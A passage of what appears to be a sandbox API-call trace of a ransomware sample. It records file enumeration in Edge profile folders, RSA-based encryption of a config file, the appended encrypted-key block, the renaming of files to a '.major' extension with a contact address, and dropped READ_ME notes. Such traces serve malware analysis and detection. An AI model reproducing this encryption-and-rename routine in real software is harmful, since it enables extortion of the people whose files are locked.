hHeap=0x570000, dwFlags=0x0, lpMem=0x660120 | out: hHeap=0x570000) returned 1 [0297.454] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x6628a0 [0297.454] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6669f0 | out: hHeap=0x570000) returned 1 [0297.454] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x663298 | out: hHeap=0x570000) returned 1 [0297.454] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6640 | out: hHeap=0x570000) returned 1 [0297.454] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\LocalState\\RootTools\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb5775632, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xb5775632, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x50b40e24, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f377e8 [0297.454] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656128 | out: hHeap=0x570000) returned 1 [0297.454] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a44f0 [0297.454] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8a9b8 [0297.454] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a44f0 | out: hHeap=0x570000) returned 1 [0297.454] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664918 [0297.454] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8a9b8 | out: hHeap=0x570000) returned 1 [0297.454] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x654a08 [0297.454] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664918 | out: hHeap=0x570000) returned 1 [0297.455] GetLastError () returned 0x0 [0297.455] SetLastError (dwErrCode=0x0) [0297.455] GetLastError () returned 0x0 [0297.455] SetLastError (dwErrCode=0x0) [0297.455] GetLastError () returned 0x0 [0297.455] SetLastError (dwErrCode=0x0) [0297.455] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0297.455] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bec60 [0297.455] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bec60 | out: hHeap=0x570000) returned 1 [0297.455] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6758 [0297.455] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2f376e8 [0297.455] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f376e8 | out: hHeap=0x570000) returned 1 [0297.455] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40600 [0297.455] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40600 | out: hHeap=0x570000) returned 1 [0297.455] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6758 | out: hHeap=0x570000) returned 1 [0297.455] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0297.455] FindNextFileW (in: hFindFile=0x2f377e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb5775632, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xb5775632, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x50b40e24, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0297.455] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654a08 | out: hHeap=0x570000) returned 1 [0297.455] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0297.455] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8adf8 [0297.455] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0297.456] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664210 [0297.456] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8adf8 | out: hHeap=0x570000) returned 1 [0297.456] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x656128 [0297.456] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664210 | out: hHeap=0x570000) returned 1 [0297.456] GetLastError () returned 0x0 [0297.456] SetLastError (dwErrCode=0x0) [0297.456] GetLastError () returned 0x0 [0297.456] SetLastError (dwErrCode=0x0) [0297.456] GetLastError () returned 0x0 [0297.456] SetLastError (dwErrCode=0x0) [0297.456] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0297.456] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be9f8 [0297.456] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be9f8 | out: hHeap=0x570000) returned 1 [0297.456] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6910 [0297.456] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2f375e8 [0297.456] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f375e8 | out: hHeap=0x570000) returned 1 [0297.456] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40480 [0297.456] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40480 | out: hHeap=0x570000) returned 1 [0297.456] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6910 | out: hHeap=0x570000) returned 1 [0297.456] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0297.456] FindNextFileW (in: hFindFile=0x2f377e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x50b40e24, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x50b40e24, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x50b43565, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0297.456] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656128 | out: hHeap=0x570000) returned 1 [0297.456] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0297.457] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b700 [0297.457] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0297.457] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664f58 [0297.457] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b700 | out: hHeap=0x570000) returned 1 [0297.457] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x655598 [0297.457] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664f58 | out: hHeap=0x570000) returned 1 [0297.457] GetLastError () returned 0x0 [0297.457] SetLastError (dwErrCode=0x0) [0297.457] GetLastError () returned 0x0 [0297.457] SetLastError (dwErrCode=0x0) [0297.457] GetLastError () returned 0x0 [0297.457] SetLastError (dwErrCode=0x0) [0297.457] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee67d0 [0297.457] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee67d0 | out: hHeap=0x570000) returned 1 [0297.457] FindNextFileW (in: hFindFile=0x2f377e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb5775632, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xb5775632, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xbad6843, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x4c, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="roottools.conf", cAlternateFileName="ROOTTO~1.CON")) returned 1 [0297.457] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x655598 | out: hHeap=0x570000) returned 1 [0297.457] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4808 [0297.457] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b458 [0297.457] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4808 | out: hHeap=0x570000) returned 1 [0297.457] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6658b8 [0297.457] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b458 | out: hHeap=0x570000) returned 1 [0297.457] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x655a38 [0297.457] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6658b8 | out: hHeap=0x570000) returned 1 [0297.458] GetLastError () returned 0x0 [0297.458] SetLastError (dwErrCode=0x0) [0297.458] GetLastError () returned 0x0 [0297.458] SetLastError (dwErrCode=0x0) [0297.458] GetLastError () returned 0x0 [0297.458] SetLastError (dwErrCode=0x0) [0297.458] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6910 [0297.458] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6910 | out: hHeap=0x570000) returned 1 [0297.458] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x659d98 [0297.458] FindNextFileW (in: hFindFile=0x2f377e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb5775632, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xb5775632, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xbad6843, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x4c, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="roottools.conf", cAlternateFileName="ROOTTO~1.CON")) returned 0 [0297.458] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x659ca0 [0297.458] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6910 [0297.458] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0297.458] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\LocalState\\RootTools\\roottools.conf", dwFileAttributes=0x80) returned 1 [0297.459] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x6593e8 [0297.459] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x166) returned 0x5cdc70 [0297.459] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6593e8 | out: hHeap=0x570000) returned 1 [0297.459] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\LocalState\\RootTools\\roottools.conf" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\localstate\\roottools\\roottools.conf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b88 [0297.460] GetFileSizeEx (in: hFile=0x1b88, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=76) returned 1 [0297.460] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5beb00 [0297.460] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be370 [0297.460] ReadFile (in: hFile=0x1b88, lpBuffer=0x5beb00, nNumberOfBytesToRead=0x4c, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5beb00*, lpNumberOfBytesRead=0x2e3f9b4*=0x4c, lpOverlapped=0x0) returned 1 [0297.461] SetFilePointer (in: hFile=0x1b88, lDistanceToMove=-76, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0297.461] WriteFile (in: hFile=0x1b88, lpBuffer=0x5be370*, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5be370*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4c, lpOverlapped=0x0) returned 1 [0297.462] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beb00 | out: hHeap=0x570000) returned 1 [0297.462] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be370 | out: hHeap=0x570000) returned 1 [0297.462] SetFilePointer (in: hFile=0x1b88, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4c [0297.462] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0297.462] WriteFile (in: hFile=0x1b88, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0297.462] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0297.462] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0297.462] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0297.462] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0297.462] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="kyck+tSHTOrTOY0b77QIvPWrb6AvV5yECEmx5IpVHa1zgMIcHVimeoBVtU+AYEnB\n1kiLuAgu1oWuk8ssF1TTDODhumrvE//TgIxT155074rcKqNq97WuJjJYeGcUsvUx\nauOM59aPvF66Hcb2r31h+KzWogw8pJulvgnDZ8J7K4BkZMs4URYO2Th+pxy2Tr6p\nT42EgzRL1Hzw6kgL40vY0ckav5sIGGR9sluUemkpeWZ46IJEkjl7tQvlFsir8N7o\n7ji0gBVn8jZo0otddMdrdWojp99XMAuWn5KPvwb9eMh3dQbfwo2uBpowTR2B9fj6\nqwvqbm1r4+VbinE9xpZcJA==\n", pcchString=0x2e3f9a8) returned 1 [0297.462] WriteFile (in: hFile=0x1b88, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0297.463] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0297.463] WriteFile (in: hFile=0x1b88, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0297.463] CloseHandle (hObject=0x1b88) returned 1 [0297.463] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0297.463] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\LocalState\\RootTools\\roottools.conf" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\localstate\\roottools\\roottools.conf"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\LocalState\\RootTools\\roottools.conf.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\localstate\\roottools\\roottools.conf.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0297.861] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdc70 | out: hHeap=0x570000) returned 1 [0297.861] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6910 | out: hHeap=0x570000) returned 1 [0297.861] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x659ca0 | out: hHeap=0x570000) returned 1 [0297.861] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x659d98 | out: hHeap=0x570000) returned 1 [0297.861] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x662ef8 [0297.861] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6628a0 | out: hHeap=0x570000) returned 1 [0297.861] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x669aa8 | out: hHeap=0x570000) returned 1 [0297.861] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee67f8 | out: hHeap=0x570000) returned 1 [0297.861] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1044f1e6, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x43eeca81, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x50b4f933, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f37068 [0297.861] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x655a38 | out: hHeap=0x570000) returned 1 [0297.861] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0297.861] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8aa40 [0297.861] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0297.861] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6654d0 [0297.862] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8aa40 | out: hHeap=0x570000) returned 1 [0297.862] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x656000 [0297.862] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6654d0 | out: hHeap=0x570000) returned 1 [0297.862] GetLastError () returned 0x0 [0297.862] SetLastError (dwErrCode=0x0) [0297.862] GetLastError () returned 0x0 [0297.862] SetLastError (dwErrCode=0x0) [0297.862] GetLastError () returned 0x0 [0297.862] SetLastError (dwErrCode=0x0) [0297.862] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0297.862] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be3c8 [0297.862] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be3c8 | out: hHeap=0x570000) returned 1 [0297.862] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee65a0 [0297.862] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2f37468 [0297.862] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f37468 | out: hHeap=0x570000) returned 1 [0297.862] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40408 [0297.862] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40408 | out: hHeap=0x570000) returned 1 [0297.862] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee65a0 | out: hHeap=0x570000) returned 1 [0297.862] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0297.862] FindNextFileW (in: hFindFile=0x2f37068, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1044f1e6, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x43eeca81, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x50b4f933, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0297.862] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656000 | out: hHeap=0x570000) returned 1 [0297.862] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0297.862] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8a9b8 [0297.862] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0297.862] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x665660 [0297.862] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8a9b8 | out: hHeap=0x570000) returned 1 [0297.862] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x654a08 [0297.863] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x665660 | out: hHeap=0x570000) returned 1 [0297.863] GetLastError () returned 0x0 [0297.863] SetLastError (dwErrCode=0x0) [0297.863] GetLastError () returned 0x0 [0297.863] SetLastError (dwErrCode=0x0) [0297.863] GetLastError () returned 0x0 [0297.863] SetLastError (dwErrCode=0x0) [0297.863] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0297.863] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be8f0 [0297.863] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be8f0 | out: hHeap=0x570000) returned 1 [0297.863] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6758 [0297.863] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2f373a8 [0297.863] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f373a8 | out: hHeap=0x570000) returned 1 [0297.863] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40558 [0297.863] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40558 | out: hHeap=0x570000) returned 1 [0297.863] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6758 | out: hHeap=0x570000) returned 1 [0297.863] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0297.863] FindNextFileW (in: hFindFile=0x2f37068, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x1047542f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x1047542f, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x1047542f, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0297.863] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654a08 | out: hHeap=0x570000) returned 1 [0297.863] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4778 [0297.863] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b5f0 [0297.863] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0297.863] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x665980 [0297.863] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b5f0 | out: hHeap=0x570000) returned 1 [0297.863] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x655db0 [0297.863] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x665980 | out: hHeap=0x570000) returned 1 [0297.863] GetLastError () returned 0x0 [0297.863] SetLastError (dwErrCode=0x0) [0297.863] GetLastError () returned 0x0 [0297.864] SetLastError (dwErrCode=0x0) [0297.864] GetLastError () returned 0x0 [0297.864] SetLastError (dwErrCode=0x0) [0297.864] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee67d0 [0297.864] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee67d0 | out: hHeap=0x570000) returned 1 [0297.864] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x659ca0 [0297.864] FindNextFileW (in: hFindFile=0x2f37068, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x50b4f933, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x50b4f933, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x50b52023, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0297.864] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x655db0 | out: hHeap=0x570000) returned 1 [0297.864] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a44f0 [0297.864] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8af90 [0297.864] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a44f0 | out: hHeap=0x570000) returned 1 [0297.864] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x665980 [0297.864] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8af90 | out: hHeap=0x570000) returned 1 [0297.864] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x6564a0 [0297.864] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x665980 | out: hHeap=0x570000) returned 1 [0297.864] GetLastError () returned 0x0 [0297.864] SetLastError (dwErrCode=0x0) [0297.864] 